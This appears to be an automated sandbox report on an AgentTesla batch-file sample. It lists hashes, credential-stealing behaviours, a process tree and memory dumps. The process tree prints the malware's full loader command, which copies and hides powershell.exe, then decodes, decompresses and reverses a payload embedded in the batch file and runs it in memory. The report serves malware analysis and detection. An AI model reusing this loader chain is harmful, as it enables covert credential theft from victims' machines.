Analysis

  • max time kernel
    124s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-06-2024 17:25

General

  • Target

    7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat

  • Size

    2.5MB

  • MD5

    0f66c9fac192e23ed8b27756a13c9a51

  • SHA1

    20ddad40148adbdd5d784b124acc33cdde097132

  • SHA256

    7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f

  • SHA512

    a5a14d3cb211d82d88fe6a9e20d9e31d904f469d53397c08d0ad5d0e33092309befd7b758823712412f0934212af69211fcd6f2e7f21fec9eb74e2949bc45335

  • SSDEEP

    49152:5an+rZc4d12wBdAyoxrHDJn514sMoV5HOIbTbfS:P

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:5056
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
        2⤵
          PID:2488
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
          2⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:4956
        • C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
          C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -WindowStyle hidden -command "$Nrmdm = Get-Content 'C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat' | select-object -Last 1; $Wjppsmckfpm = [System.Convert]::FromBase64String($Nrmdm);$Iceehfuhq = New-Object System.IO.MemoryStream( , $Wjppsmckfpm );$Ygqvnh = New-Object System.IO.MemoryStream;$Mzmtwv = New-Object System.IO.Compression.GzipStream $Iceehfuhq, ([IO.Compression.CompressionMode]::Decompress);$Mzmtwv.CopyTo( $Ygqvnh );$Mzmtwv.Close();$Iceehfuhq.Close();[byte[]] $Wjppsmckfpm = $Ygqvnh.ToArray();[Array]::Reverse($Wjppsmckfpm); $Hvxhaz = [System.Threading.Thread]::GetDomain().Load($Wjppsmckfpm); $Dccbj = $Hvxhaz.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2764
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3952

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas

        Filesize

        423KB

        MD5

        c32ca4acfcc635ec1ea6ed8a34df5fac

        SHA1

        f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

        SHA256

        73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

        SHA512

        6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nafz1sn0.4t4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2764-5-0x00000000750FE000-0x00000000750FF000-memory.dmp

        Filesize

        4KB

      • memory/2764-6-0x0000000001020000-0x0000000001056000-memory.dmp

        Filesize

        216KB

      • memory/2764-7-0x00000000750F0000-0x00000000758A0000-memory.dmp

        Filesize

        7.7MB

      • memory/2764-9-0x00000000750F0000-0x00000000758A0000-memory.dmp

        Filesize

        7.7MB

      • memory/2764-8-0x0000000005370000-0x0000000005998000-memory.dmp

        Filesize

        6.2MB

      • memory/2764-10-0x0000000004F70000-0x0000000004F92000-memory.dmp

        Filesize

        136KB

      • memory/2764-11-0x0000000005010000-0x0000000005076000-memory.dmp

        Filesize

        408KB

      • memory/2764-12-0x0000000005080000-0x00000000050E6000-memory.dmp

        Filesize

        408KB

      • memory/2764-18-0x00000000059A0000-0x0000000005CF4000-memory.dmp

        Filesize

        3.3MB

      • memory/2764-23-0x0000000005F40000-0x0000000005F5E000-memory.dmp

        Filesize

        120KB

      • memory/2764-24-0x0000000005F80000-0x0000000005FCC000-memory.dmp

        Filesize

        304KB

      • memory/2764-25-0x0000000006F00000-0x0000000006F96000-memory.dmp

        Filesize

        600KB

      • memory/2764-26-0x0000000006440000-0x000000000645A000-memory.dmp

        Filesize

        104KB

      • memory/2764-27-0x0000000006490000-0x00000000064B2000-memory.dmp

        Filesize

        136KB

      • memory/2764-28-0x00000000077A0000-0x0000000007D44000-memory.dmp

        Filesize

        5.6MB

      • memory/2764-29-0x00000000083D0000-0x0000000008A4A000-memory.dmp

        Filesize

        6.5MB

      • memory/2764-30-0x00000000072A0000-0x000000000770A000-memory.dmp

        Filesize

        4.4MB

      • memory/2764-31-0x0000000007F20000-0x0000000008152000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-32-0x00000000081F0000-0x0000000008282000-memory.dmp

        Filesize

        584KB

      • memory/2764-33-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-44-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-60-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-70-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-88-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-96-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-94-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-92-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-86-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-84-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-82-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-80-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-78-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-76-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-74-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-72-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-68-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-66-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-90-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-64-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-62-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-58-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-54-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-52-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-50-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-48-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-46-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-42-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-40-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-38-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-36-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-35-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-56-0x0000000007F20000-0x000000000814B000-memory.dmp

        Filesize

        2.2MB

      • memory/2764-4920-0x00000000750F0000-0x00000000758A0000-memory.dmp

        Filesize

        7.7MB

      • memory/2764-4921-0x0000000008290000-0x00000000082FC000-memory.dmp

        Filesize

        432KB

      • memory/2764-4922-0x0000000008300000-0x000000000834C000-memory.dmp

        Filesize

        304KB

      • memory/2764-4923-0x0000000008360000-0x00000000083B4000-memory.dmp

        Filesize

        336KB

      • memory/2764-4931-0x00000000750F0000-0x00000000758A0000-memory.dmp

        Filesize

        7.7MB

      • memory/3952-4929-0x00000000750F0000-0x00000000758A0000-memory.dmp

        Filesize

        7.7MB

      • memory/3952-4928-0x0000000000400000-0x0000000000442000-memory.dmp

        Filesize

        264KB

      • memory/3952-4930-0x00000000750F0000-0x00000000758A0000-memory.dmp

        Filesize

        7.7MB

      • memory/3952-4932-0x0000000006CF0000-0x0000000006D40000-memory.dmp

        Filesize

        320KB

      • memory/3952-4933-0x0000000006D70000-0x0000000006D7A000-memory.dmp

        Filesize

        40KB

      • memory/3952-4934-0x00000000750F0000-0x00000000758A0000-memory.dmp

        Filesize

        7.7MB